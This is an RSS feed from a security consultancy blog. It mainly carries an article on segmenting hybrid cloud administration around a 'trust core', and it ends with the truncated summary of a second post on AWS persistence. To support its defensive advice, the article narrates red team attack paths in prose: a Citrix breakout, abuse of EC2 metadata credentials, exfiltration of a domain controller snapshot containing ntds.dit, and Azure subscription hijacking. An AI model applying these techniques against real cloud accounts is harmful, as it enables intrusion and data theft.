<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Arnaud PETITCOL, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/arnaud-petitcol/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/arnaud-petitcol/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 02 Jul 2026 08:26:49 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Arnaud PETITCOL, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/arnaud-petitcol/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cloud Security: Adapting to a new reality</title>
		<link>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:09:10 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[cloud security]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28917</guid>

					<description><![CDATA[<p>Audits and Red Team assessments led by Wavestone showed a stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones. While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Audits and Red Team assessments led by Wavestone showed a <strong>stark imbalance between the maturity of on-premise infrastructure protection and the cloud deployment ones.</strong> While on-premise infrastructure are generally well identified, controlled and protected according to proven standards, their cloud counterparts are often underestimated in terms of risks and consequently, insufficiently secured.</p>
<p> </p>
<h2>Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?</h2>
<h3>Evolution of the Security Model</h3>
<p style="text-align: justify;">In on-premises <strong>Active Directory</strong> environments, infrastructure security generally relies on <strong>strict segmentation into three tiers (T0, T1, and T2)</strong>. This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.</p>
<p style="text-align: justify;">This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:</p>
<ul style="text-align: justify;">
<li><strong>Portals are centralized</strong>: A wide variety of administrators with different rights.</li>
<li><strong>The boundary between administration levels is more complex</strong>: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.</li>
</ul>
<p style="text-align: justify;">To address this new paradigm, Microsoft published its Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">described here</a></span>), highlighting three main planes: the <em>Control Plane</em>, <em>Management Plane</em>, and <em>Data Plane</em>.</p>
<p style="text-align: justify;">This model retains <strong>&#8220;cascading&#8221; criticality</strong> but simplifies it with:</p>
<ul style="text-align: justify;">
<li>the 3 tiers into <strong>2 access types: administrator vs. user</strong>;</li>
<li>the administration flows into portal access;</li>
<li>the server’s criticality is centralized within the <em>Data plane</em><em>.</em></li>
</ul>
<p style="text-align: justify;">Below is a comparative illustration between the old and the new model:</p>
<figure id="attachment_30327" aria-describedby="caption-attachment-30327" style="width: 1087px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-30327" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/From-the-three-tier-model-to-cloud-complexity.png" alt="From the three-tier model to cloud complexity" width="1087" height="541" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/From-the-three-tier-model-to-cloud-complexity.png 1087w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/From-the-three-tier-model-to-cloud-complexity-384x191.png 384w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/From-the-three-tier-model-to-cloud-complexity-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/From-the-three-tier-model-to-cloud-complexity-768x382.png 768w" sizes="(max-width: 1087px) 100vw, 1087px" /><figcaption id="caption-attachment-30327" class="wp-caption-text"><em>From the three-tier model to cloud complexity</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This new model particularly highlights 3 elements:</p>
<ul style="text-align: justify;">
<li><strong>User identity</strong>: privileged access vs. user access;</li>
<li><strong>Data and services</strong>: at the expense of servers;</li>
<li>The <strong>method of access</strong> to web administration portals.</li>
</ul>
<p style="text-align: justify;">The inversion of importance between &#8220;servers&#8221; and &#8220;web portals&#8221; abstracting Active Directory is a radical change.</p>
<p style="text-align: justify;">However, very few (if any) large organizations are at this stage of abandoning their &#8220;legacy&#8221; IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.</p>
<p style="text-align: justify;">These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.</p>
<p style="text-align: justify;">For the remainder of this article, we will take as an example the <strong>Tartampion</strong> company, which has just completed a <strong>3-year Move-to-Cloud program on AWS</strong>. The outcome is as follows:</p>
<ul>
<li style="text-align: justify;">A Landing Zone was created, applications already on AWS were integrated into it</li>
<li style="text-align: justify;">Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.</li>
<li style="text-align: justify;">The Data Centers were closed</li>
</ul>
<p> </p>
<h3>A problematic hybrid and virtualized IS</h3>
<p style="text-align: justify;">According to the EAM, Azure and AWS portals are displayed at the same level (<em>the management plane</em>) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.</p>
<p style="text-align: justify;">To illustrate the previous points, let us set aside the <em>Digital Workplace</em> aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:</p>
<figure id="attachment_28921" aria-describedby="caption-attachment-28921" style="width: 1695px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28921" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png" alt="Example of different AWS enterprise account types" width="1695" height="343" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-437x88.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-768x155.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Example-of-different-AWS-enterprise-account-types-1536x311.png 1536w" sizes="(max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28921" class="wp-caption-text"><em>Example of different AWS enterprise account types</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Based on the framework proposed by Microsoft, these <strong>three AWS accounts should belong to the Management plane</strong> with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.</p>
<p style="text-align: justify;">If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.</p>
<p style="text-align: justify;">A more adequate example of segmentation would be the following:</p>
<figure id="attachment_28923" aria-describedby="caption-attachment-28923" style="width: 1689px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28923" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png" alt="Tiering Model extended to the Enterprise Access Model" width="1689" height="713" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-extended-to-the-Enterprise-Access-Model-1536x648.png 1536w" sizes="(max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28923" class="wp-caption-text"><em>Tiering Model extended to the Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Microsoft’s Enterprise Access Model is a <strong>macroscopic framework</strong> that allows for initiating a baseline for cloud service segmentation, but <strong>which remains to be adapted</strong> according to the criticality of the concerned IS.</p>
<p style="text-align: justify;">How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.</p>
<p> </p>
<h2>The cloud from an attacker’s perspective</h2>
<h3>5 cloud principles facilitating attacks</h3>
<p style="text-align: justify;">Firstly, <strong>public cloud administration panels are exposed to the Internet by default</strong>, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.</p>
<p style="text-align: justify;">Secondly, companies today have <strong>hybrid organizations</strong> (on-premise and cloud):</p>
<ul style="text-align: justify;">
<li>Cloud infrastructures are connected to the rest of the on-premises IS;</li>
<li><strong>Workstations</strong> can also be <strong>hybrid</strong> and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;</li>
<li>Identities are often <strong>synchronized accounts</strong>, this also applies to administration accounts.</li>
</ul>
<p style="text-align: justify;">Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.</p>
<p style="text-align: justify;">Thirdly, <strong>identity management is very complex with different scopes</strong>. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.</p>
<p style="text-align: justify;">In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain &#8220;legacy&#8221; teams, such as the SOC/CERT, network, etc. <strong>The most sensitive cloud resources are not systematically identified, protected, and monitored</strong>.</p>
<p style="text-align: justify;">Finally, even if native detection mechanisms are present, they are <strong>not always interconnected with SIEM/SOAR</strong>, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that <strong>native detection tools have limited detection capacity</strong>. This is an observation also found in Red Teams since, with an &#8220;OpSec&#8221; approach,<strong> cloud detection tools are rarely able to identify an ongoing attack</strong>.</p>
<p> </p>
<h3>Feedback from our penetration tests &amp; Red Team</h3>
<p style="text-align: justify;">Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:</p>
<figure id="attachment_28925" aria-describedby="caption-attachment-28925" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28925" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png" alt="Examples of Cloud attack paths exploited in Red Team assessments" width="1684" height="803" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-401x191.png 401w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-768x366.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Examples-of-Cloud-attack-paths-exploited-in-Red-Team-assessments-1536x732.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28925" class="wp-caption-text"><em>Examples of Cloud attack paths exploited in Red Team assessments</em></figcaption></figure>
<p style="text-align: justify;">The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/01/enterprise-access-model-1-2-how-to-scope-your-control-plane-to-secure-your-cloud-administration-and-prevent-a-global-cloud-compromise/">here</a></span>.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Reconnaissance and Initial Access</span></em></strong></p>
<p style="text-align: justify;">Categories of employees are <strong>generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS&#8230;)</strong>. A frequently used method is <strong>phishing</strong>. <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Current phishing</a></span> mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Privilege Escalation and Lateral Movements</span></em></strong></p>
<p style="text-align: justify;">In the first scenario, a compromised developer possessed access to a Citrix farm. <strong>Citrix environments are not simple to completely harden</strong>, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.</p>
<p style="text-align: justify;">Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to <strong>access the server&#8217;s AWS metadata</strong>: the instance had rights on the client&#8217;s AWS account. The Citrix virtual machine possessed the &#8220;<strong>AmazonEC2FullAccess</strong>&#8221; role allowing it management actions on EC2s in the same AWS account.</p>
<p style="text-align: justify;">Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called &#8220;Shared Services&#8221;. It is nevertheless recommended to <strong>verify that the criticality of shared services is homogeneous to be able to apply adequate hardening</strong> on the account or separate them into several environments.</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Actions on trophies</span></em></strong></p>
<p style="text-align: justify;">From the Citrix server AWS role, <strong>a snapshot of the domain controller was taken and then downloaded</strong>. Domain controller backups contain all the machine&#8217;s files, including the most sensitive files like the <strong><em>ntds.dit</em></strong> database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.</p>
<p style="text-align: justify;">This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.</p>
<p> </p>
<h3>Faster and stronger impacts</h3>
<p style="text-align: justify;">Attacks already possible on an on-premises IS can be <strong>reproduced and even accelerated thanks to cloud features</strong>. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the &#8220;lifecycle&#8221; feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.</p>
<p style="text-align: justify;">New attacks have also appeared, such as &#8220;<strong>Subscription Hijacking</strong>&#8221; which allows <strong>transferring an Azure organization&#8217;s subscription to another</strong> and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.</p>
<p> </p>
<h2>Identification and protection of the cloud trust core</h2>
<h3>Identification</h3>
<p style="text-align: justify;">The <strong>trust core </strong>adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish <strong>a restricted circle of critical resources</strong> (whether cloud or on premises) and then <strong>deploy decreasing levels of protection as one moves away from this core</strong>.</p>
<p style="text-align: justify;">The identification of the trust core relies on <strong>two main criteria</strong>:</p>
<ul style="text-align: justify;">
<li><em>Business Criticality</em>: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;</li>
<li><em>IS Criticality</em>: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.</li>
</ul>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: justify;">This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:</p>
<ul style="text-align: justify;">
<li><em>EDR</em>: an obvious security element of an IS, systematically deployed on both workstations <strong>and</strong> cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.</li>
<li><em>CI/CD pipelines</em>: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. <strong>Out of all Red Teams conducted in 2024 &amp; 2025, 80% exploited vulnerabilities associated</strong> with these solutions to progress in their operation or even obtain compromise trophies through these means.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">In order to identify the center of the trust core, which we will call the <strong>security foundation</strong>, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.</p>
<p style="text-align: justify;">Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as <strong>administrator</strong> <strong>/ super-user access</strong> to them, and not simple user.</p>
<p style="text-align: justify;">Here is one possible representation of a hybrid trust core:</p>
<figure id="attachment_28927" aria-describedby="caption-attachment-28927" style="width: 1681px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28927" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png" alt="Protect the essential, your core of trust" width="1681" height="997" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust.png 1681w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Protect-the-essential-your-core-of-trust-1536x911.png 1536w" sizes="auto, (max-width: 1681px) 100vw, 1681px" /><figcaption id="caption-attachment-28927" class="wp-caption-text"><em>Protect the essential, your core of trust</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In this representation, on the on-premise side, we can observe:</p>
<ul style="text-align: justify;">
<li><em>The T0,</em> with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…</li>
<li><em>The T1,</em> integrating additionally high-impact business applications.</li>
</ul>
<p style="text-align: justify;">And on the cloud side, we find:</p>
<ul style="text-align: justify;">
<li>At the core, the <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) as well as the Landing Zone modules supporting <strong>T0</strong> (if part of T0 is hosted in the cloud);</li>
<li>Moving outward, the various <strong>administration consoles</strong> for productivity suites, and for infrastructure or application management.</li>
</ul>
<p style="text-align: justify;">When establishing this diagram, it is important to keep in mind that:</p>
<ul style="text-align: justify;">
<li><strong>IT serves the business</strong>, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;</li>
<li><strong>Dependency/compromise chains</strong> have a significant impact on <strong>architectural choices</strong>: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.</li>
</ul>
<p style="text-align: justify;">Finally, building a trust core cannot be limited to a static classification logic. It must rely on <strong>an approach that evaluates the criticality of each asset and the risk it introduces</strong> (a software development company will surely not position its Git at the same level as a civil engineering company).</p>
<p> </p>
<h3>Protection of the cloud trust core</h3>
<p style="text-align: justify;">The security of the trust core will rely on the two traditional risk factors:</p>
<ul>
<li style="text-align: justify;"><em>Reduce impact</em>: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?</li>
<li style="text-align: justify;"><em>Reduce probability:</em> How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of the cloud security foundation</span></em></strong></p>
<p style="text-align: justify;">Regarding the cloud &#8220;security foundation,&#8221; it is possible to prioritize environments by criticality according to this macroscopic scale:</p>
<figure id="attachment_28929" aria-describedby="caption-attachment-28929" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28929" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png" alt="The main levels of the cloud security foundation" width="1680" height="709" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-437x184.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-768x324.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-The-main-levels-of-the-cloud-security-foundation-1536x648.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28929" class="wp-caption-text"><em>The main levels of the cloud security foundation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…</p>
<p style="text-align: justify;">Securing the cloud security foundation relies on 2 main points:</p>
<ul style="text-align: justify;">
<li>Impeccable <strong>hygiene</strong>: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…</li>
<li>A passive / active security layer: deployment of <strong>policies</strong> (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and <strong>detection rules</strong> to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.</li>
</ul>
<p style="text-align: justify;">These policies can be effectively associated with a <strong>tagging strategy</strong> to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.</p>
<p style="text-align: justify;">For example, it is possible to tag different resources with a &#8220;tiering&#8221; key and a value between &#8220;T0&#8221;, &#8220;T1&#8221;, &#8220;T2&#8221; and then deploy this set of strategies:</p>
<ul style="text-align: justify;">
<li>Prohibit any action targeting a resource tagged &#8220;tiering&#8221; by an identity whose own tiering tag value is not equivalent;</li>
<li>Prohibit the manipulation of tiering tags, except for a specific role.</li>
</ul>
<p style="text-align: justify;">And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection of identities and access</span></em></strong></p>
<p style="text-align: justify;">To protect users, 3 hardening themes can be implemented:</p>
<ul style="text-align: justify;">
<li><em>Identity</em>: With which account does the user connect to cloud administration interfaces? How are rights obtained?</li>
<li><em>MFA</em>: Is the identity protected with multi-factor authentication resistant to phishing attacks?</li>
<li><em>Origin</em>: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?</li>
</ul>
<p style="text-align: justify;">Several levels of protection are conceivable in order to protect cloud administrators:</p>
<figure id="attachment_28931" aria-describedby="caption-attachment-28931" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28931" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png" alt="Aligning the protection level with the risk level" width="1684" height="819" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-393x191.png 393w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-768x374.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligning-the-protection-level-with-the-risk-level-1536x747.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28931" class="wp-caption-text"><em>Aligning the protection level with the risk level</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">To protect the <strong>restricted trust core</strong>, represented by the triple padlocks, it is recommended to implement the <strong>most robust authentication factors</strong>. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).</p>
<p style="text-align: justify;">For <strong>resources further from the center</strong> of the core of trust, symbolized by the double padlocks, <strong>a hardened but proportionate security level can be applied</strong>, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.</p>
<p style="text-align: justify;">Ultimately, the <strong>most secure methods are also those that imply the most constraints for the people concerned</strong>, usage must be controlled (limiting day-to-day operations) and emergency situations considered.</p>
<p> </p>
<h3>Repeat Operations</h3>
<p style="text-align: justify;">At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.</p>
<p style="text-align: justify;">To verify the proper implementation of the core of trust, <strong>an audit can be conducted to verify the proper protection of the critical resources</strong> that compose it.</p>
<p style="text-align: justify;">An information system is always evolving, but the first two phases will have been performed at a given moment. <strong>New critical resources may be added, others modified or even deleted</strong>. It is essential to <strong>regularly re-evaluate the IS</strong> and update the distribution of resources within the core of trust.</p>
<h2 style="text-align: justify;"> </h2>
<p style="text-align: justify;">In conclusion, information system security now operates within a context of <strong>increasing complexity and strong diversification </strong>of infrastructure components and services.</p>
<p style="text-align: justify;">In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.</p>
<p style="text-align: justify;">For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets &#8211; <em>the crown jewels</em> &#8211; and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/">Cloud Security: Adapting to a new reality</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2026/01/cloud-security-adapting-to-a-new-reality/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AWSDoor: Persistence on AWS</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:25:09 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWS Persistence]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatach]]></category>
		<category><![CDATA[Detection AWS Persistence]]></category>
		<category><![CDATA[Persistence]]></category>
		<category><![CDATA[Persistence based on IAM]]></category>
		<category><![CDATA[Persistence based on resources]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[S3 Bucket]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27372</guid>

					<description><![CDATA[<p>Over the past decade, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is...</p>
